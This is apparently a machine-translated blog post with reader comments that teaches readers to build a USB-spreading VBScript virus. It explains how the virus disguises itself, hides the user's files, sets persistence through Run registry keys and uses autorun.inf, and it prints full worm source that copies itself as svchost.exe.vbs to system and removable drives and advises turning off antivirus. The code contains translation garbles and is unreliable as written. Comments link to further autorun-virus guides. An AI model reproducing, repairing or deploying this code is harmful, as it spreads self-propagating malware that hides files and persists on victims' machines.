To create a virus is not too difficult just using notepad only tool we have been able to make a virus. But it would be nice if we understand a little of programming languages such as Visual Basic. Before we discuss further advance the writer will explain the working principle of viruses in general.
Working Principle Virus
1. Viruses basically just a program or script programming as well as programs that often we find: Ms Word, Excel, Corel and others. It's just made for the purpose of this program is not good even damaging.
2. The size is so small that the virus program enough for introduction into the flash or disk icon that is used and is usually very similar to the shape such as word documents or folders.
Note the picture below
Tiles
At first sight can not distinguish where the original folder where not and where the original document and which the virus.
Now look at the display in the Folder and Document View Details
Detailed
Folder icon or documents with the Application Type and Screen Saver is guaranteed to be virus. Because the maker and screen saver applications install folder icon or the word must have a less good faith. 
3. Usually these viruses masquerading under the name of an existing file in your flash or diskette, while your original documents hidden in a hidden file. For how to bring these hidden files you can see in the blog without anti-virus Prevent Viruses 
4. When you double-click virus virus program will be executed. The first step is to open a document that the virus is hidden to reduce the user's suspicion. 
5. The next virus will copy itself to the hard drive and write the registry at HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion \ Run or HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Run so that the virus program is executed automatically when the computer first turns on. 
6. If necessary Virus Task manager and regedit to disable to prevent users from manually remove the virus 
7. The next virus will be activated to check if there is a new document file in flash or diskette in every few seconds, which would then be hidden and then copy the virus file and name in accordance with this hidden file name. The virus also will write the script in the flash Autorun.inf is hidden so that the virus is automatically executed when the flash is in the double-click the My Computer 
So demikiankah cycle virus from pendrive to the computer and from computer to pendrive 
About VB Script 
VB Script or Visual Basic Script is really just plain text that contains the code of visual basic programming language and stored with vbs format. To create a vbscript simple enough to use a text editor such as Notepad or using a more complete, such as Ultra Edit or Notepad + +. Here is an example of a simple vbscript. 
1. Open the Notepad program from Start> All Programs> Accessories> Notepad. 
2. Write the following text 
MsgBox "This is a sample VB Script Simplified" 
3. Then save the file with the change Save as Type to All Files 
4. Give the file a name with an extra. Vbs behind. For example ScriptSederhanan.vbs 
5. Now look at the display icons in file explorer, no longer in the form of text. Try to click 2 times the file, then the dialog box will appear saying This is a sample VB Script Simple. 
6. Required for the vbscript to be virus code so that the right is just follow the process described above. 
Simple Virus Code Examples 
Here is a sample code using vbscript a simple virus. If you want to try should turn off Anti-virus on also Install Deep Freeze and freeze the entire hard drive later
'El Magnifico MAN 
on error resume next 
mysource dim, winpath, flashdrive, fs, mf, ATR, tf, RG, nt, check, sd 
ATR = "[autorun]" & vbcrlf & "ShellExecute = wscript.exe svchost.exe.vbs" 
set fs = createobject ("Scripting.FileSystemObject") 
set mf = fs.getfile (Wscript.ScriptFullname) 
dim text, size 
size = mf.size 
check = mf.drive.drivetype 
set text = mf.openastextstream (1, -2) 
do while not text.atendofstream 
mysource = mysource & text.readline 
mysource = mysource & vbcrlf 
loop 
do 
Set winpath = fs.getspecialfolder (0) 
set tf = fs.getfile (winpath & "\ svchost.exe.vbs") 
tf.attributes = 32 
set tf = fs.createtextfile (winpath & "\ svchost.exe.vbs", 2, true) 
tf.write mysource 
tf.close 
sets tf = fs.getfile (winpath & "\ svchost.exe.vbs") 
tf.attributes = 39 
For Each flashdrive in fs.drives 
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then 
set tf = fs.getfile (flashdrive.path & "\ svchost.exe.vbs") 
tf.attributes = 32 
set tf = fs.createtextfile (flashdrive.path & "\ svchost.exe.vbs", 2, true) 
tf.write mysource 
tf.close 
set tf = fs.getfile (flashdrive.path & "\ svchost.exe.vbs") 
tf.attributes = 39 
set tf = fs.getfile (flashdrive.path & "\ autorun.inf") 
tf.attributes = 32 
set tf = fs.createtextfile (flashdrive.path & "\ autorun.inf", 2, true) 
ATR tf.write 
tf.close 
set tf = fs.getfile (flashdrive.path & "\ autorun.inf") 
tf.attributes = 39 
end if 
next 
set of RG = createobject ("WScript.Shell") 
rg.regwrite "HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion \ Run \ svchost", winpath & "\ svchost.exe.vbs" 
rg.regwrite "HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion \ Run \ MS32DLL", "" 
rg.regwrite "HKCR \ vbsfile \ DefaultIcon \", "shell32.dll, 3" 
if check <> 1 then 
Wscript.sleep 100,000 
end if 
loop while check <> 1 
set sd = createobject ("Wscript.shell") 
sd.run winpath & "\ explorer.exe / e, / select," & Wscript.ScriptFullname 
do while year (now)> = 2008 
WScript.sleep 20000th 
MsgBox "Eliminate the UN to improve education in Indonesia" & vbcrlf & _ 
"Because a lot happens in the UN political fraud and schools" & vbcrlf & _ 
"To raise the prestige schools. Even in certain districts," & vbcrlf & _ 
"Cheating is sanctioned by the district government is" & vbcrlf & _ 
vbcrlf & vbcrlf & _ 
"NATIONAL EXAM unselect" & vbcrlf & vbcrlf & _ 
"The voice of the teacher concerned on the education system" 
loop
Hi
ReplyDeletePretty cool! Any principals? The No's and Yes?
Gotlieb
Here is another one:
ReplyDeletehttp://mywindowsworld.blogspot.com/2011/10/this-is-basic-framework-of-vbs-autorun.html
This comment has been removed by the author.
ReplyDeleteHere, Complete guide with INfection Snapshots too on - How to make Autorun Virus in VBScript
ReplyDeletehttp://my-tech-site.blogspot.com/2011/10/this-is-basic-framework-of-vbs-autorun.html
like it
ReplyDeletef you
ReplyDelete